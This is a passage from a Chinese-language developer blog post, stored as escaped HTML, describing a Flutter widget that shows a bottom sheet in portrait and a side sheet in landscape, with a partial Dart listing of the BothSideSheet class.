\u003eBottomSheet\u003c/a\u003e 一样;在横屏的时候,他是从右向左呼出的,和 \u003ca class=\"link\" href=\"https://m3.material.io/components/side-sheets/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eSideSheet\u003c/a\u003e 一样。\u003c/p\u003e\n\u003cp\u003eFlutter 的 Material 框架本身没有实现 SideSheet ,而对于横屏来说,BottomSheet 是十分浪费屏幕,而且不太好看,从左面呼出是更合适的。得亏有很多的大佬,自行实现了 SideSheet 插件,我可以直接拿来使用他们的概念,但我想把这两个结合在一起。\u003c/p\u003e\n\u003cp\u003e而为啥要将这两个东西合在一起呢?这就涉及到实际使用中,我们是如何呼出 BottomSheet 了。\u003c/p\u003e\n\u003cp\u003e呼出 BottomSheet 和呼出 Dialog 一样,是使用了一个函数,在这里,叫 \u003ccode\u003eshowBottomSheet\u003c/code\u003e。这玩意有个问题,他本质上是往路由栈里面压入一个 BottomSheet 页面栈,也就是说,无论横屏幕还是竖屏幕,他永远是 BottomSheet,而不会变化一点。我一开始用了 SideSheet,结果发现横屏开了 SideSheet,竖屏过来了还是 SideSheet,他们之间不会互相转化。\u003c/p\u003e\n\u003cp\u003e那我就缝合吧,SideSheet 好办,抄过来先辈的代码就好了,顺便我抄过来使用 \u003ccode\u003eshowGeneralDialog\u003c/code\u003e 来显示弹窗了。但是 BottomSheet 本身并没有任何代码资料,我只能自己写了。我使用了 StatefulWidget 来保存 heightForVertical 变量,这是个高度变量,默认为页面高度的 80% 。然后我使用了一个 GestureDetector ,手势侦测器。这个侦测器在拖拽最上面的小横杠时候进行当前高度检测,然后更新高度。这里我将收起的高度定为页面高度的 40% 。\u003c/p\u003e\n\u003cp\u003e这里我说明一下 BottomSheet 和 SideSheet 的特点,他们都可以分成两个部分,上面的和下面的。下面的是传参传进来的部件,上面的就是属于部件的东西了。\u003c/p\u003e\n\u003cp\u003e最后再说一句,原来的 SideSheet 的最上面是使用 \u003ccode\u003eAppBar\u003c/code\u003e 实现的,但是 AppBar 会侦测手机的状态栏,最终导致在某些情况下,上面的高度过高。我被迫自行实现了这里,搞得很难看。\u003c/p\u003e\n\u003cp\u003e现在我贴出来代码,欢迎改善完发个包:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:watermeter/page/widget.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eBothSideSheet\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatefulWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// child 是子部件,title 是标题,用于 SideSheet\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里我是抄的那个 SideSheet 组件,他也是写了个静态方法来显示\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003estatic\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eshow\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eshowGeneralDialog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebarrierDismissible:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003econtext:\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epageBuilder:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eanimation1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eanimation2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebarrierLabel:\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// 这个动画就是从右呼出还是从下面呼出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003etransitionBuilder:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eanimation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esecondaryAnimation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eSlideTransition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eposition:\u003c/span\u003e \u003cspan class=\"n\"\u003eTween\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebegin:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eOffset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eOffset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e0.0\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eend:\u003c/span\u003e \u003cspan class=\"n\"\u003eOffset\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003echain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCurveTween\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecurve:\u003c/span\u003e \u003cspan class=\"n\"\u003eCurves\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eeaseOutCubic\u003c/span\u003e\u003cspan class=\"p\"\u003e)).\u003c/span\u003e\u003cspan class=\"n\"\u003eanimate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eanimation\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ecreateState\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e_BothSideSheetState\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003e_BothSideSheetState\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这就是 BottomSheet 的高度问题了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里涉及到 StatefulWidget 的声明周期,这是在 build 之前执行的函数,用来设定高度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 没记错的话,这么写的目的是,防止子组件的某些东西重新加载,这里我快忘了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003edidChangeDependencies\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edidChangeDependencies\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e \u003cspan class=\"n\"\u003eradius\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eonly\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etopLeft:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebottomLeft:\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etopRight:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebottomRight:\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.4\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e360\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"m\"\u003e360\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 